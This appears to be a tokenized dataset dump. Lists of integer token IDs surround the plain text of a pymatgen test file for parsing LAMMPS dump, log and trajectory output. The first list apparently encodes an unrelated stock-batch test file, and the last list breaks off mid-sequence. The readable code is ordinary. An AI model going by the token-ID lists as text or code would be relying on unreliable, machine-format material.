29900,
29892,
13,
12,
12,
12,
12,
12,
10492,
353,
29871,
29896,
29900,
29892,
13,
12,
12,
12,
12,
12,
2519,
8697,
353,
2414,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
13,
12,
12,
12,
12,
29897,
13,
12,
12,
12,
29962,
13,
12,
12,
876,
13,
12,
12,
1311,
29889,
9294,
29934,
1759,
267,
29898,
2525,
519,
1762,
3549,
23145,
2392,
29892,
28289,
29918,
6812,
29889,
7851,
29897,
13,
13,
12,
1753,
1243,
29918,
17712,
29918,
8269,
29918,
449,
17696,
29898,
1311,
1125,
13,
12,
12,
12008,
3057,
18428,
9853,
9262,
363,
714,
17696,
10961,
6251,
12008,
13,
13,
12,
12,
16175,
29918,
29939,
1017,
353,
29871,
29896,
29953,
13,
12,
12,
13556,
21278,
353,
1583,
29889,
1688,
29918,
29886,
27574,
29918,
13556,
21278,
29898,
16175,
29918,
29939,
1017,
29897,
13,
12,
12,
667,
29918,
401,
353,
525,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
29915,
13,
13,
12,
12,
17712,
29918,
8269,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
1867,
312,
668,
2433,
20754,
384,
28236,
742,
13,
12,
12,
12,
15503,
4220,
2433,
24095,
26246,
742,
13,
12,
12,
12,
14518,
29922,
13556,
21278,
29889,
14518,
29892,
13,
12,
12,
12,
7076,
11759,
13,
12,
12,
12,
12,
8977,
29898,
13,
12,
12,
12,
12,
12,
667,
29918,
401,
29922,
667,
29918,
401,
29892,
13,
12,
12,
12,
12,
12,
29939,
1017,
29922,
16175,
29918,
29939,
1017,
29892,
13,
12,
12,
12,
12,
12,
29879,
29918,
2519,
8697,
29922,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
29892,
13,
12,
12,
12,
12,
29897,
13,
12,
12,
12,
29962,
13,
12,
12,
876,
13,
13,
12,
12,
17712,
29918,
8269,
29889,
842,
29918,
17712,
29918,
8269,
29918,
1853,
580,
13,
12,
12,
17712,
29918,
8269,
29889,
7851,
580,
13,
12,
12,
17712,
29918,
8269,
29889,
7892,
580,
13,
13,
12,
12,
29937,
4974,
1021,
9853,
338,
4629,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
13,
12,
12,
12,
17712,
29918,
8269,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29892,
13,
12,
12,
12,
657,
29918,
16175,
29918,
1217,
29898,
667,
29918,
401,
29892,
2414,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
29892,
9853,
29918,
29939,
1017,
29897,
13,
12,
12,
29897,
13,
13,
12,
1753,
1243,
29918,
16175,
29918,
5451,
29898,
1311,
1125,
13,
12,
12,
12008,
3057,
9853,
24368,
12008,
13,
12,
12,
13556,
21278,
353,
1583,
29889,
1688,
29918,
29886,
27574,
29918,
13556,
21278,
580,
13,
12,
12,
3166,
604,
29886,
4622,
29889,
17712,
29889,
1867,
312,
668,
29889,
16175,
29889,
16175,
1053,
6219,
29918,
16175,
13,
13,
12,
12,
1482,
29918,
16175,
353,
6219,
29918,
16175,
29898,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29892,
525,
9094,
29924,
29899,
29933,
14789,
29899,
29896,
742,
2414,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
29892,
29871,
29906,
29906,
29897,
13,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
657,
29918,
16175,
29918,
29939,
1017,
29898,
13556,
21278,
29889,
7076,
29961,
29900,
1822,
16175,
29918,
1217,
29892,
2414,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
511,
29871,
29955,
29947,
29897,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
657,
29918,
16175,
29918,
29939,
1017,
29898,
1482,
29918,
16175,
29892,
2414,
21278,
29889,
7076,
29961,
29900,
1822,
2519,
8697,
511,
29871,
29906,
29906,
29897,
13,
13,
12,
1753,
1243,
29918,
657,
29918,
16175,
29918,
29939,
1017,
29898,
1311,
1125,
13,
12,
12,
12008,
3057,
2805,
9853,
26855,
491,
9853,
29918,
20326,
29892,
2944,
29918,
401,
470,
281,
598,
8697,
12008,
13,
12,
12,
1311,
29889,
5675,
29918,
16175,
29918,
667,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29906,
1495,
13,
12,
12,
1311,
29889,
5675,
29918,
1482,
29918,
16175,
29918,
392,
29918,
8269,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29906,
742,
525,
16175,
263,
742,
22868,
3057,
399,
598,
8697,
448,
903,
9472,
1495,
13,
12,
12,
1311,
29889,
5675,
29918,
1482,
29918,
16175,
29918,
392,
29918,
8269,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29906,
742,
525,
16175,
289,
742,
22868,
3057,
399,
598,
8697,
448,
903,
9472,
1495,
13,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
657,
29918,
16175,
29918,
29939,
1017,
29898,
667,
29918,
401,
353,
525,
9094,
29924,
29899,
29933,
14789,
29899,
29906,
742,
281,
598,
8697,
353,
22868,
3057,
399,
598,
8697,
448,
903,
9472,
5477,
13,
12,
12,
12,
29961,
10998,
16175,
29918,
1217,
2396,
318,
29915,
16175,
263,
742,
525,
29939,
1017,
2396,
29871,
29929,
29900,
29889,
29900,
1118,
11117,
16175,
29918,
1217,
2396,
318,
29915,
16175,
289,
742,
525,
29939,
1017,
2396,
29871,
29929,
29900,
29889,
29900,
29913,
2314,
13,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
657,
29918,
16175,
29918,
29939,
1017,
877,
16175,
263,
742,
22868,
3057,
399,
598,
8697,
448,
903,
9472,
5477,
29871,
29929,
29900,
29897,
13,
13,
12,
1753,
1243,
29918,
7827,
29918,
16175,
29918,
29939,
1017,
29898,
1311,
1125,
13,
12,
12,
1311,
29889,
5675,
29918,
16175,
29918,
667,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29941,
1495,
13,
12,
12,
735,
15423,
29918,
16175,
29918,
29939,
1017,
353,
1652,
29873,
29898,
20910,
4798,
29889,
2585,
29889,
657,
29918,
1767,
703,
23145,
613,
376,
29933,
29896,
29900,
29900,
613,
376,
16175,
29918,
29939,
1017,
5783,
13,
12,
12,
17712,
29918,
8269,
353,
1583,
29889,
5675,
29918,
1482,
29918,
16175,
29918,
392,
29918,
8269,
877,
9094,
29924,
29899,
29933,
14789,
29899,
29941,
742,
525,
29933,
29896,
29900,
29900,
742,
22868,
3057,
399,
598,
8697,
448,
903,
9472,
1495,
13,
13,
12,
12,
3784,
29918,
16175,
29918,
29939,
1017,
353,
1652,
29873,
29898,
20910,
4798,
29889,
2585,
29889,
657,
29918,
1767,
703,
23145,
613,
376,
29933,
29896,
29900,
29900,
613,
376,
16175,
29918,
29939,
1017,
5783,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
3784,
29918,
16175,
29918,
29939,
1017,
29892,
5923,
29918,
16175,
29918,
29939,
1017,
718,
29871,
29929,
29900,
29897,
13,
13,
12,
12,
17712,
29918,
8269,
29889,
20713,
580,
13,
12,
12,
3784,
29918,
16175,
29918,
29939,
1017,
353,
1652,
29873,
29898,
20910,
4798,
29889,
2585,
29889,
657,
29918,
1767,
703,
23145,
613,
376,
29933,
29896,
29900,
29900,
613,
376,
16175,
29918,
29939,
1017,
5783,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
3784,
29918,
16175,
29918,
29939,
1017,
29892,
5923,
29918,
16175,
29918,
29939,
1017,
29897,
13,
13,
12,
29992,
1990,
5696,
13,
12,
1753,
1207,
29918,
1482,
29918,
16175,
29918,
392,
29918,
8269,
29898,
25932,
29892,
2944,
29918,
978,
29892,
9853,
29918,
978,
29892,
281,
598,
8697,
1125,
13,
12,
12,
12008,
9984,
263,
716,
10961,
6251,
363,
2183,
3646,
281,
598,
8697,
322,
9853,
1024,
310,
2944,
12008,
13,
13,
12,
12,
361,
451,
5227,
4798,
29889,
2585,
29889,
9933,
703,
23145,
613,
9853,
29918,
978,
1125,
13,
12,
12,
12,
16175,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
12,
1867,
312,
668,
353,
525,
23145,
742,
13,
12,
12,
12,
12,
667,
353,
2944,
29918,
978,
29892,
13,
12,
12,
12,
12,
16175,
29918,
333,
353,
9853,
29918,
978,
13,
12,
12,
12,
8106,
7851,
29898,
17281,
29918,
17858,
6847,
29922,
5574,
29897,
13,
12,
12,
12,
16175,
29889,
7620,
580,
13,
13,
12,
12,
17712,
29918,
8269,
353,
5227,
4798,
29889,
657,
29918,
1514,
29898,
8977,
29898,
13,
12,
12,
12,
1867,
312,
668,
353,
525,
20754,
384,
28236,
742,
13,
12,
12,
12,
15503,
4220,
353,
525,
24095,
24328,
21278,
742,
13,
12,
12,
12,
14518,
353,
22868,
3057,
6938,
742,
13,
12,
12,
12,
7076,
353,
518,
13,
12,
12,
12,
12,
8977,
29898,
13,
12,
12,
12,
12,
12,
667,
29918,
401,
353,
2944,
29918,
978,
29892,
13,
12,
12,
12,
12,
12,
29939,
1017,
353,
29871,
29929,
29900,
29892,
13,
12,
12,
12,
12,
12,
29873,
29918,
2519,
8697,
353,
281,
598,
8697,
29892,
13,
12,
12,
12,
12,
12,
18253,
29918,
5064,
353,
525,
6330,
448,
903,
9472,
742,
13,
12,
12,
12,
12,
12,
10492,
353,
29871,
29896,
29900,
29892,
13,
12,
12,
12,
12,
12,
16175,
29918,
1217,
353,
9853,
29918,
978,
29892,
13,
12,
12,
12,
12,
12,
9536,
29918,
9171,
29918,
4387,
362,
29918,
10492,
353,
29871,
29896,
13,
12,
12,
12,
12,
29897,
13,
12,
12,
12,
29962,
13,
12,
12,
876,
13,
13,
12,
12,
17712,
29918,
8269,
29889,
842,
29918,
17712,
29918,
8269,
29918,
1853,
580,
13,
12,
12,
17712,
29918,
8269,
29889,
7851,
580,
13,
12,
12,
17712,
29918,
8269,
29889,
7892,
580,
13,
13,
12,
12,
2457,
10961,
29918,
8269,
13,
13,
12,
1753,
1243,
29918,
16175,
29918,
978,
29918,
2541,
29918,
8588,
292,
29918,
13757,
29898,
1311,
1125,
13,
12,
12,
17712,
29918,
11027,
353,
5227,
4798,
29889,
657,
29918,
14369,
877,
20754,
384,
19215,
1495,
13,
12,
12,
1509,
29918,
8588,
292,
29918,
13757,
353,
274,
524,
29898,
17712,
29918,
11027,
29889,
1509,
29918,
8588,
292,
29918,
13757,
29897,
13,
13,
12,
12,
361,
451,
671,
29918,
8588,
292,
29918,
13757,
29901,
13,
12,
12,
12,
20910,
4798,
29889,
842,
29918,
1767,
877,
20754,
384,
19215,
742,
525,
20754,
384,
19215,
742,
525,
1509,
29918,
8588,
292,
29918,
13757,
742,
29871,
29896,
29897,
13,
13,
12,
12,
16175,
353,
1583,
29889,
5675,
29918,
1482,
29918,
16175,
877,
29918,
3057,
10224,
10976,
1152,
350,
905,
4321,
29896,
1495,
13,
12,
12,
16175,
29918,
978,
353,
9853,
29889,
978,
13,
13,
12,
12,
1311,
29889,
9294,
5574,
29898,
16175,
29918,
978,
29889,
27382,
2541,
877,
29933,
14789,
29899,
8785,
13,
13,
12,
12,
16175,
29889,
8143,
580,
13,
12,
12,
16175,
353,
1583,
29889,
5675,
29918,
1482,
29918,
16175,
877,
29918,
3057,
10224,
10976,
1152,
350,
905,
4321,
29906,
1495,
13,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
16175,
29918,
978,
29892,
9853,
29889,
978,
29897,
13,
13,
12,
12,
29937,
10092,
10224,
19215,
13,
12,
12,
361,
451,
671,
29918,
8588,
292,
29918,
13757,
29901,
13,
12,
12,
12,
20910,
4798,
29889,
842,
29918,
1767,
877,
20754,
384,
19215,
742,
525,
20754,
384,
19215,
742,
525,
1509,
29918,
8588,
292,
29918,
13757,
742,
29871,
29900,
29897,
13,
13,
12,
1753,
1207,
29918,
1482,
29918,
16175,
29898,
1311,
29892,
2944,
29918,
978,
29892,
9853,
29918,
333,
29922,
8516,
29892,
437,
29918,
1333,
29918,
7851,
29922,
29900,
1125,
13,
12,
12,
16175,
353,
5227,
4798,
29889,
1482,
29918,
1514,
877,
23145,
1495,
13,
12,
12,
667,
353,
1583,
29889,
5675,
29918,
16175,
29918,
667,
29898,
667,
29918,
978,
29897,
13,
12,
12,
16175,
29889,
667,
353,
2944,
29889,
978,
13,
13,
12,
12,
361,
9853,
29918,
333,
29901,
13,
12,
12,
12,
16175,
29889,
16175,
29918,
333,
353,
9853,
29918,
333,
13,
13,
12,
12,
361,
451,
437,
29918,
1333,
29918,
7851,
29901,
13,
12,
12,
12,
16175,
29889,
7851,
580,
13,
13,
12,
12,
2457,
9853,
13,
13,
12,
1753,
1243,
29918,
16175,
29918,
3538,
29918,
667,
29918,
9175,
29898,
1311,
1125,
13,
12,
12,
361,
451,
5227,
4798,
29889,
2585,
29889,
657,
29918,
1767,
877,
2001,
742,
22868,
3057,
350,
905,
20743,
10976,
29374,
13,
12,
12,
12,
20910,
4798,
29889,
657,
29918,
1514,
3319,
13,
12,
12,
12,
12,
29915,
1867,
312,
668,
2396,
525,
2001,
742,
13,
12,
12,
12,
12,
29915,
275,
29918,
17712,
29918,
667,
2396,
29871,
29896,
29892,
13,
12,
12,
12,
12,
29915,
667,
29918,
401,
2396,
22868,
3057,
350,
905,
20743,
10976,
742,
13,
12,
12,
12,
12,
29915,
667,
29918,
2972,
2396,
525,
25767,
742,
13,
12,
12,
12,
12,
29915,
5349,
29918,
16175,
29918,
1217,
2396,
29871,
29896,
29892,
13,
12,
12,
12,
12,
29915,
3258,
29918,
1482,
29918,
16175,
2396,
29871,
29896,
13,
12,
12,
12,
7690,
7851,
29898,
17281,
29918,
17858,
6847,
29922,
5574,
29897,
13,
13,
12,
12,
16175,
29896,
353,
1653,
29918,
16175,
877,
29918,
3057,
350,
905,
20743,
10976,
742,
29871,
29906,
29900,
29900,
29892,
29871,
29896,
29897,
13,
12,
12,
16175,
29906,
353,
1653,
29918,
16175,
877,
29918,
3057,
350,
905,
20743,
10976,
742,
29871,
29941,
29900,
29900,
29892,
29871,
29896,
29897,
13,
12,
12,
16175,
29941,
353,
1653,
29918,
16175,
877,
29918,
3057,
350,
905,
20743,
10976,
742,
29871,
29946,
29900,
29900,
29892,
29871,
29900,
29897,
13,
13,
12,
12,
5085,
353,
5227,
4798,
3032,
8977,
3319,
13,
12,
12,
12,
29908,
667,
29918,
401,
1115,
11119,
3057,
350,
905,
20743,
10976,
613,
13,
12,
12,
12,
29908,
14518,
1115,
11119,
3057,
6938,
411,
25722,
950,
11817,
706,
613,
13,
12,
12,
12,
29908,
9175,
29918,
1761,
1115,
11119,
3057,
20743,
2391,
613,
13,
12,
12,
12,
29908,
26095,
1115,
11119,
3057,
315,
10880,
613,
13,
12,
12,
12,
29908,
1867,
312,
668,
1115,
376,
29903,
2122,
512,
14917,
613,
13,
12,
12,
12,
29908,
535,
3259,
29918,
10492,
1115,
29871,
29896,
29892,
13,
12,
12,
12,
29908,
9175,
29918,
1761,
29918,
26095,
1115,
11119,
3057,
315,
10880,
613,
13,
12,
12,
12,
29908,
572,
29883,
29918,
535,
3259,
29918,
10492,
1115,
29871,
29896,
29892,
13,
12,
12,
12,
29908,
15539,
1115,
11119,
3057,
21886,
613,
13,
12,
12,
12,
29908,
978,
1115,
6213,
13,
12,
12,
1800,
13,
13,
12,
12,
29937,
1688,
8666,
363,
9853,
29896,
13,
12,
12,
5085,
29889,
5504,
3319,
29915,
16175,
29918,
1217,
2396,
9853,
29896,
1800,
13,
12,
12,
14144,
353,
679,
29918,
667,
29918,
14144,
29898,
5085,
29897,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
14144,
29889,
657,
877,
9175,
29918,
1761,
29918,
10492,
5477,
29871,
29906,
29900,
29900,
29897,
13,
13,
12,
12,
29937,
1688,
8666,
363,
9853,
29906,
13,
12,
12,
5085,
29889,
5504,
3319,
29915,
16175,
29918,
1217,
2396,
9853,
29906,
1800,
13,
12,
12,
14144,
353,
679,
29918,
667,
29918,
14144,
29898,
5085,
29897,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
14144,
29889,
657,
877,
9175,
29918,
1761,
29918,
10492,
5477,
29871,
29941,
29900,
29900,
29897,
13,
13,
12,
12,
29937,
1688,
8666,
363,
9853,
29941,
13,
12,
12,
5085,
29889,
5504,
3319,
29915,
16175,
29918,
1217,
2396,
9853,
29941,
1800,
13,
12,
12,
14144,
353,
679,
29918,
667,
29918,
14144,
29898,
5085,
29897,
13,
12,
12,
1311,
29889,
9294,
9843,
29898,
14144,
29889,
657,
877,
9175,
29918,
1761,
29918,
10492,
5477,
29871,
29946,
29900,
29900,
29897,
13,
13,
1753,
1653,
29918,
16175,
29898,
667,
29918,
401,
29892,
6554,
29892,
1653,
29918,
667,
29918,
9175,
29918,
1454,
29918,
16175,
1125,
13,
12,
1631,
353,
1207,
29918,
29886,
27574,
29918,
262,
14917,
29898,
14518,
543,
29918,
3057,
6938,
613,
13,
12,
12,
2519,
8697,
29922,
376,
855,
2361,
448,
903,
9472,
613,
3438,
29918,
5064,
353,
376,
6330,
448,
903,
9472,
613,
2767,
29918,
17712,
29922,
29896,
29892,
13,
12,
12,
4548,
1947,
29918,
10149,
29465,
29918,
3057,
16535,
9839,
363,
7197,
29879,
19019,
448,
903,
9472,
613,
2944,
29918,
401,
29922,
667,
29918,
401,
29897,
13,
13,
12,
16175,
353,
5227,
4798,
29889,
2585,
29889,
657,
29918,
1767,
877,
23145,
742,
11117,
667,
2396,
2944,
29918,
401,
29892,
525,
5679,
29918,
978,
2396,
2930,
29889,
978,
1800,
13,
13,
12,
361,
451,
1653,
29918,
667,
29918,
9175,
29918,
1454,
29918,
16175,
29901,
13,
12,
12,
3258,
29918,
9175,
29918,
1761,
29918,
1454,
29918,
16175,
29898,
667,
29918,
401,
29892,
6213,
29892,
6554,
29897,
13,
12,
2870,
29901,
13,
12,
12,
3258,
29918,
9175,
29918,
1761,
29918,
1454,
29918,
16175,
29898,
667,
29918,
401,
29892,
9853,
29892,
6554,
29897,
13,
13,
12,
2457,
9853,
13,
13,
1753,
1653,
29918,
9175,
29918,
1761,
29918,
1454,
29918,
16175,
29898,
667,
29918,
401,
29892,
9853,
29892,
6554,
1125,
13,
12,
20910,
4798,
29889,
657,
29918,
1514,
3319,
13,
12,
12,
29915,
1867,
312,
668,
2396,
525,
2001,
20743,
742,
13,
12,
12,
29915,
667,
29918,
401,
2396,
22868,
3057,
350,
905,
20743,
10976,
742,
13,
12,
12,
29915,
9175,
29918,
1761,
2396,
22868,
3057,
20743,
2391,
742,
13,
12,
12,
29915,
16175,
29918,
1217,
2396,
9853,
29892,
13,
12,
12,
29915,
9175,
29918,
1761,
29918,
10492,
2396,
6554,
13,
12,
7690,
7851,
580,
13,
13,
1753,
1207,
29918,
1482,
29918,
16175,
29898,
1068,
5085,
1125,
13,
12,
5085,
353,
5227,
4798,
3032,
8977,
29898,
5085,
29897,
13,
13,
12,
2202,
29901,
13,
12,
12,
16175,
353,
5227,
4798,
29889,
657,
29918,
1514,
3319,
13,
12,
12,
12,
29908,
1867,
312,
668,
1115,
376,
23145,
613,
13,
12,
12,
12,
29908,
16175,
29918,
333,
1115,
6389,
29889,
16175,
29918,
333,
29892,
13,
12,
12,
12,
29908,
667,
1115,
6389,
29889,
667,
29918,
401,
29892,
13,
12,
12,
7690,
7851,
580,
13,
13,
12,
19499,
5227,
4798,
29889,
29928,
786,
5926,
9634,
2392,
29901,
13,
12,
12,
16175,
353,
5227,
4798,
29889,
657,
29918,
1514,
703,
23145,
613,
6389,
29889,
16175,
29918,
333,
29897,
13,
13,
12,
2457,
9853,
2
] |
pymatgen/io/lammps/tests/test_output.py | katherinelatimer2013/pymatgen | 0 | 140194 | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import division, print_function, unicode_literals, \
absolute_import
import os
import unittest
import numpy as np
from pymatgen.io.lammps.output import LammpsRun, LammpsLog, LammpsDump
__author__ = '<NAME>'
__email__ = '<EMAIL>'
test_dir = os.path.join(os.path.dirname(__file__), "..", "..", "..", "..",
"test_files", "lammps")
class TestLammpsDump(unittest.TestCase):
def test_init(self):
# general tests + gzipped
rdx_10 = LammpsDump(filename=os.path.join(test_dir, "dump.rdx.gz"))
np.testing.assert_array_equal(rdx_10.timesteps, np.arange(0, 101, 10))
obox = rdx_10[0]["box"]
np.testing.assert_array_equal(obox.bounds, np.array([(35, 48)] * 3))
atom = rdx_10[-1]["atoms_data"][-1]
np.testing.assert_array_equal(atom,
[19, 2, 0.42369, 0.47347, 0.555425])
# timestep wildcard
rdx_25 = LammpsDump(filename=os.path.join(test_dir, "dump.rdx_wc.*"),
parse_box=False)
self.assertEqual(len(rdx_25), 5)
np.testing.assert_array_equal(rdx_25.timesteps, np.arange(0, 101, 25))
self.assertNotIn("box", rdx_25[0])
# tilted box
tatb = LammpsDump(filename=os.path.join(test_dir, "dump.tatb"))
tbox = tatb[0]["box"]
bounds = [[0, 13.624], [0, 17.1149153805], [0, 15.1826391451]]
tilt = [-5.75315630927, -6.325466, 7.4257288]
np.testing.assert_array_almost_equal(tbox.bounds, bounds)
np.testing.assert_array_almost_equal(tbox.tilt, tilt)
class TestLammpsRun(unittest.TestCase):
@classmethod
def setUpClass(cls):
data_file = os.path.join(test_dir, "nvt.data")
traj_file = os.path.join(test_dir, "nvt.dump")
log_file = os.path.join(test_dir, "nvt.log")
cls.lmps_log = LammpsLog(log_file=log_file)
cls.lammpsrun = LammpsRun(data_file, traj_file, log_file)
def test_lammps_log(self):
fields = "step vol temp press ke pe etotal enthalpy evdwl ecoul epair " \
"ebond eangle edihed eimp " \
"emol elong etail lx ly lz xy xz yz density"
fields = fields.split()
thermo_data_ans = np.loadtxt(
os.path.join(test_dir, "thermo_data.txt"))
thermo_data = self.lammpsrun.log.thermo_data
self.assertEqual(sorted(list(thermo_data.keys())), sorted(fields))
self.assertEqual(self.lammpsrun.log.nmdsteps + 1,
len(thermo_data['step']))
data = [thermo_data[k] for k in fields]
np.testing.assert_almost_equal(data, np.transpose(thermo_data_ans), decimal=10)
def test_lammps_trajectory(self):
fields = "Atoms_id atom_type x y z vx vy vz mol mass"
fields = fields.split()
timestep_ans = 82
trajectory_ans = np.loadtxt(os.path.join(test_dir,
"trajectory_timestep_82_sorted.txt"))
begin = int(timestep_ans / 2) * self.lammpsrun.natoms
end = (int(timestep_ans / 2) + 1) * self.lammpsrun.natoms
trajectory = self.lammpsrun.trajectory[begin:end]
# atom ids in the trajectory starts from 0
np.testing.assert_almost_equal(trajectory[:][fields[0]],
trajectory_ans[:, 0] - 1, decimal=10)
for i, fld in enumerate(fields[1:]):
np.testing.assert_almost_equal(trajectory[:][fld],
trajectory_ans[:, i + 1],
decimal=10)
def test_get_structures_from_trajectory(self):
structures = self.lammpsrun.get_structures_from_trajectory()
self.assertEqual(len(structures), len(self.lammpsrun.timesteps))
def test_get_displacements(self):
structure, disp = self.lammpsrun.get_displacements()
self.assertEqual(disp.shape[0], len(structure))
self.assertEqual(disp.shape[1], len(self.lammpsrun.timesteps) - 1)
self.assertEqual(disp.shape[2], 3)
self.assertAlmostEqual(disp[-1, -1, -1], 0.077079999999999788)
def test_serialization(self):
d = self.lammpsrun.as_dict()
lmps_run = LammpsRun.from_dict(d)
self.assertDictEqual(d, lmps_run.as_dict())
d2 = self.lmps_log.as_dict()
lmps_log = LammpsLog.from_dict(d2)
self.assertDictEqual(d2, lmps_log.as_dict())
if __name__ == "__main__":
unittest.main()
| [
1,
396,
14137,
29901,
23616,
29899,
29947,
13,
29937,
14187,
1266,
313,
29883,
29897,
349,
962,
271,
1885,
14650,
8583,
29889,
13,
29937,
6652,
7541,
1090,
278,
4958,
310,
278,
341,
1806,
19245,
29889,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8542,
29892,
1596,
29918,
2220,
29892,
29104,
29918,
20889,
1338,
29892,
320,
13,
1678,
8380,
29918,
5215,
13,
13,
5215,
2897,
13,
5215,
443,
27958,
13,
13,
5215,
12655,
408,
7442,
13,
13,
3166,
282,
962,
271,
1885,
29889,
601,
29889,
29880,
4850,
567,
29889,
4905,
1053,
365,
4850,
567,
6558,
29892,
365,
4850,
567,
3403,
29892,
365,
4850,
567,
29928,
3427,
13,
13,
1649,
8921,
1649,
353,
12801,
5813,
16299,
13,
1649,
5269,
1649,
353,
12801,
26862,
6227,
16299,
13,
13,
1688,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
376,
636,
613,
376,
636,
613,
376,
636,
613,
376,
636,
613,
13,
462,
4706,
376,
1688,
29918,
5325,
613,
376,
29880,
4850,
567,
1159,
13,
13,
13,
1990,
4321,
29931,
4850,
567,
29928,
3427,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
29918,
2344,
29898,
1311,
1125,
13,
4706,
396,
2498,
6987,
718,
330,
2526,
2986,
13,
4706,
364,
8235,
29918,
29896,
29900,
353,
365,
4850,
567,
29928,
3427,
29898,
9507,
29922,
359,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
376,
15070,
29889,
5499,
29916,
29889,
18828,
5783,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
2378,
29918,
11745,
29898,
5499,
29916,
29918,
29896,
29900,
29889,
9346,
4196,
567,
29892,
7442,
29889,
279,
927,
29898,
29900,
29892,
29871,
29896,
29900,
29896,
29892,
29871,
29896,
29900,
876,
13,
4706,
704,
2251,
353,
364,
8235,
29918,
29896,
29900,
29961,
29900,
29962,
3366,
1884,
3108,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
2378,
29918,
11745,
29898,
23518,
29889,
23687,
29892,
7442,
29889,
2378,
4197,
29898,
29941,
29945,
29892,
29871,
29946,
29947,
4638,
334,
29871,
29941,
876,
13,
4706,
12301,
353,
364,
8235,
29918,
29896,
29900,
14352,
29896,
29962,
3366,
271,
4835,
29918,
1272,
3108,
14352,
29896,
29962,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
2378,
29918,
11745,
29898,
8678,
29892,
13,
462,
462,
418,
518,
29896,
29929,
29892,
29871,
29906,
29892,
29871,
29900,
29889,
29946,
29906,
29941,
29953,
29929,
29892,
29871,
29900,
29889,
29946,
29955,
29941,
29946,
29955,
29892,
29871,
29900,
29889,
29945,
29945,
29945,
29946,
29906,
29945,
2314,
13,
4706,
396,
5335,
342,
1022,
8775,
7543,
13,
4706,
364,
8235,
29918,
29906,
29945,
353,
365,
4850,
567,
29928,
3427,
29898,
9507,
29922,
359,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
376,
15070,
29889,
5499,
29916,
29918,
29893,
29883,
5575,
4968,
13,
462,
9651,
6088,
29918,
1884,
29922,
8824,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
5499,
29916,
29918,
29906,
29945,
511,
29871,
29945,
29897,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
2378,
29918,
11745,
29898,
5499,
29916,
29918,
29906,
29945,
29889,
9346,
4196,
567,
29892,
7442,
29889,
279,
927,
29898,
29900,
29892,
29871,
29896,
29900,
29896,
29892,
29871,
29906,
29945,
876,
13,
4706,
1583,
29889,
9294,
3664,
797,
703,
1884,
613,
364,
8235,
29918,
29906,
29945,
29961,
29900,
2314,
13,
4706,
396,
260,
2782,
287,
3800,
13,
4706,
260,
271,
29890,
353,
365,
4850,
567,
29928,
3427,
29898,
9507,
29922,
359,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
376,
15070,
29889,
8101,
29890,
5783,
13,
4706,
260,
1884,
353,
260,
271,
29890,
29961,
29900,
29962,
3366,
1884,
3108,
13,
4706,
13451,
353,
5519,
29900,
29892,
29871,
29896,
29941,
29889,
29953,
29906,
29946,
1402,
518,
29900,
29892,
29871,
29896,
29955,
29889,
29896,
29896,
29946,
29929,
29896,
29945,
29941,
29947,
29900,
29945,
1402,
518,
29900,
29892,
29871,
29896,
29945,
29889,
29896,
29947,
29906,
29953,
29941,
29929,
29896,
29946,
29945,
29896,
5262,
13,
4706,
260,
2782,
353,
21069,
29945,
29889,
29955,
29945,
29941,
29896,
29945,
29953,
29941,
29900,
29929,
29906,
29955,
29892,
448,
29953,
29889,
29941,
29906,
29945,
29946,
29953,
29953,
29892,
29871,
29955,
29889,
29946,
29906,
29945,
29955,
29906,
29947,
29947,
29962,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
2378,
29918,
284,
3242,
29918,
11745,
29898,
29873,
1884,
29889,
23687,
29892,
13451,
29897,
13,
4706,
7442,
29889,
13424,
29889,
9294,
29918,
2378,
29918,
284,
3242,
29918,
11745,
29898,
29873,
1884,
29889,
1376,
29873,
29892,
260,
2782,
29897,
13,
13,
13,
1990,
4321,
29931,
4850,
567,
6558,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
731,
3373,
2385,
29898,
25932,
1125,
13,
4706,
848,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
376,
29876,
21908,
29889,
1272,
1159,
13,
4706,
1020,
29926,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
29892,
376,
29876,
21908,
29889,
15070,
1159,
13,
4706,
1480,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
3972,
